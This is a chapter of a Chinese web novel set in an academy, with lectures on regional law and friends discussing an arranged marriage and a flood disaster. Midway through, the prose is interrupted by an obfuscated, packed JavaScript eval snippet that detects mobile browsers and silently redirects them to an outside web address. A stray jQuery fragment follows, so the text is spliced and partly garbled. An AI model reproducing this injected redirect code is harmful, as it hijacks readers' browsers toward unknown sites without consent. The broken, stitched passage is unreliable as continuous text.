悠远的钟声响彻群山万壑，未到学堂的少年争先恐后，坐在里面的少年哈欠连天。


    拂起窗纱的风没有一丝水气，吹在脸上有些干燥。沐山敛的书案在窗边，她把窗关的小了一些，正要坐回去，却突然僵在原处。


    “山敛，怎么了？”


    沐山敛回头，海蕴安静温和的脸上露出一丝疑惑。


    “今日这堂课，应该不是寒山夫子来教了。”


    海蕴浅浅地笑起来，低声道：“这真是一件好事。”


    寒山是学宫里出了名的严师，书虽然教得好，但考核也绝不含糊。听说寒山是穷苦人家出身的孩子，若不是全村遭了北地的屠戮，应该会一直重复上辈的生活，做一个劳苦的庄稼汉。


    “是靳师兄来教。”


    海蕴的笑意凝滞在脸上，捋去书页上不存在的褶皱，“其实寒山夫子是一个极好的老师，我有些想念他了。”


    青年站在屋外，身姿如青松挺拔，着一身墨色长衫，腰带系一枚玉佩。他的目光并不冷厉，甚至有些平和，可在学堂里扫过一圈后，众学子噤若寒蝉，目不斜视，坐得笔直端正。


    学舍里静得连呼吸声都几不可闻。


    天呐，你塌了吧。寒山夫子，你回来吧！


    众学子内心大喊。


    他在案前撩衣端坐，说话的声音并不大，每一人都听得清楚。


    “我名靳之泽，你们可唤我靳师兄。这几日寒山夫子有要事，便由我来代他上和。”


    暖洋洋的日光透过简朴宽大的窗棂，斜斜地映进来，整个学堂被照得敞亮。


    “天齐，北地和西域皆有律法，为何各不相同？”


    大部分人沉思片刻后，摇摇头，有一人壮着胆子道：“因为各地的人情风俗不一。”


    靳之泽略一颔首，接着问道：“又为何不一？”


    那人挠了挠头，最后也跟着摇摇头。


    靳之泽看向其余几个默不作声的学生，他们有些想法，但不愿当着众人的面说出来，唯恐说错了。


    “因为地理不一。”略显冷淡的声音打破了一室的凝滞。


    众人循声望去，说话的是个少女，她安静地坐在窗边，清冷中带着诗文里的古意，像是一枚静世芳华的璞玉。


    沐山敛与看过来的靳之泽对视一瞬，若无其事地垂下眼睫，唇微微抿起。


    靳之泽未置可否，只道：“沐师妹可否说说是为何？”


    “天齐地域辽阔，多是一望无际的平原，还有一条波涛汹涌的泰泽河。从前的人们要靠着泰泽河群居，每到汛期，需要一个强有力的人来带领组织所有人去解决泰泽河的泛滥，这也是为何会有大禹治水，三过家门而不入的典故。久而久之，就形成了这样的局面，一个家族通过管着所有人，来保护所有人。”


    说到这里，面对众多愈发炽热的目光，沐山敛有些不愿说下去，甚至有些后悔为何刚刚要答话。


    “呵。”一声轻笑吸引了所有的视线。


    靳之泽目含若有若无的笑，又极快地收敛，“虽说是想让你们先说说自己的看法，但若是全说了，我这个代课的师兄也没什么用处了。”


    底下传出几声低低的笑，原本严肃的氛围顷刻间缓和许多。


    “北地有塔拉草原，常年高寒干旱，没有充足的水源，无法种植粮食，只能顺应季节变更进行迁移，借此获得食物。后来经过几百年的内战，北地势力划分为二十四族，不再发生大规模的战争，人口迅速增长，塔拉草原却养不起这么多人，所以北地经常会来天齐抢掠。北地人的财产主要是牲畜，他们对于房屋器具并不那么看重，反而会有专门的律法条文来保护牲畜。”


    靳之泽的父母常年率兵与北地对峙，故而他对北地的见解会比一般夫子的更深刻些。众学子想听他多说些，靳之泽却点到而止，继而说起西域多高山草甸，区域划分显著，因此城邦独立，商贸兴盛发达。不同于天齐的“士农工商”，西域商人在律法的地位很高。


    “难怪学宫中的人怕他，却也敬他。”说这话时，海蕴正从书架拿下一本书，是关于北地的风土人情。


    沐山敛自然知道“他”指谁，可她在意的是另一件事，“能让寒山夫子出宫的要事，你觉得会是什么事呢？”


    “应该是一件我们管不到，也不该管的大事。”海蕴笑了笑，“山敛，你如果真的要过闲云野鹤的日子，很多事情，就不该好奇。”


    沐山敛转头看了好友一会，也露出淡淡的笑，“确实，是我多事了。”


    普天之下，知道她心事的，除了林间就是海蕴。


    然而一开始，沐山敛并不想和海蕴交心，毕竟她可是未来的宰相夫人，这个身份太张扬了。可有些人，似乎是天生注定的朋友，一两句话就能投缘。


    “那你呢？”


    两人一齐走出藏书阁，沐山敛继续发问：“你真的要嫁给君月沉吗？”


    君家公子和长阳公主两情相悦，这件事知道的人不多，沐山敛恰好就是其中之一。


    海蕴沉默下来，宛如一株玲珑雪迅速地枯萎，一时间安静得有些发涩。


    “若是拒绝这场婚事，我应该要付出很大的代价吧。”海蕴无声地笑笑，温婉的眉眼油然生出几分忧郁来，“海家是陛下看重的新贵，君家虽然比不上华阳六家，但也是沉淀百年的大族，新旧结合，对于两家仕途而言都很好，他们志在必得。”


    海蕴的笑容透着自嘲，“他们或许并不知道君公子和公主的事，可是君家家大业大，什么亲戚都有，随便拿出一人都不是好相处的。我同你说过，我以前都是跟着外祖一家在乡下过日子，三年前父母才把我接入京中。我和父母并不亲近，所以这场婚事才落在我的头上。”


    “也只会落在我的头上。”


    沐山敛蓦地停下来，金灿灿的暖阳落在她身上，“那你要跟我一起走吗？”


    海蕴继续往前走，从胸口轻轻地呼出一口气，像是要把心里的郁闷清出来。


    “我呀。”她停在树荫里，回头凝望落后几步的好友，“是一个软弱的人。”


    天齐，晋


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803293|158462||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    州，八阳镇：


    天上的乌云浓得如同化不开的墨，连续下了一个月的秋雨仍未歇，挨家挨户紧闭门窗，路上的积水已然没过胸口。


    雨沿着斗笠上的茅草滴落，几名蓑衣客在滂沱大雨里艰难前行。


    脚步声由下往上，他们登上城楼。守卫的士兵正要提枪阻拦，却被为首男子的一道令牌惊得跪下来。


    士兵低着头，显而易见的不安，身体忍不住颤抖，额头上分不清是雨水，还是冷汗。


    钦差绕过他们，从拔地而起的城门往下看去，其中年纪尚轻的几名男子顿时瞪大双眼。


    城外密密麻麻地飘满浮尸，还活着的人坐在高一点的坡上，衣衫褴褛，在北方的深秋根本不足以御寒。他们神情呆滞麻木，皮贴着骨头，身上找不到一丝一毫的肉。


    一名衣不蔽体的妇女抱着骨瘦如柴的婴儿，爬到城墙下，无力地拍打在坚固的墙璧上。


    “你们！”


    一人转过身子，愤怒地指向士兵，发抖的手指似要承受不住他冲天的怒火。


    “大人饶命！大人饶命！我们也是奉上命行事。”


    跪地的士兵不住地磕头，响声淹没在滂沱大雨里。


    “夫子，我现在就让他们打开大门！”


    寒山沉默地注视脚下的人间炼狱，眼光暗得要生出火来。他像是用了全身的力气，才从口中艰难得吐出两字：“不行。”


    “为什么！”


    “大灾之后，必有大疫。如果贸然开城门，让浸过尸体、混杂泥污的水流入城中，很有可能会爆发瘟疫。”


    沐山敛一边说，一边选好最后一味药材，连同之前的全部倒入研钵中，拿起杵臼慢慢地把它们碾碎。


    林间缩在被子里，只探出一个头，问道：“那要怎么办？”


    “只能等洪水退去后，用大火把城外的尸身草木烧得一干二净。”


    “真是可怜。”海蕴叹息，从箱子里翻出林间的厚衣袄，以便应对初冬，“美名其曰是防瘟疫，可这样一来，罪行也掩盖得严严实实，那些人就能踩着累累白骨，平步青云。”


    沐山敛将捣好的药粉倒入热水里，搅拌好后，把杯子递给林间，看她坐起身来，小口小口地喝药。


    “明日便是每月的考核，林间这身子能撑的过吗？”


    沐山敛将灯挑得仅剩一盏后，脚步悄声往门外走去，“她底子好，明早醒来，风寒应该会好一大半。”


    两人关上门，站在走廊里看着寂寥月色、树影婆娑。


    “林间小时候的身子骨其实没这么好，生的病比我还多。后来去沐府的私塾读书，教武学的夫子见她根骨好，就允她在一旁看着，没想到真的看出一个武状元来。”沐山敛轻轻地说，“她有那样一身武艺，又是一个心思纯善的人，如果生逢盛世，就可以投身军旅，保家卫国，也不算白来这人间。”


    “但在这个世道，像林间那样的人往往活不久。”海蕴裹紧衣服，慢慢往第一间学舍走去，“或者说，除了那些手握权柄的人，都活不长。”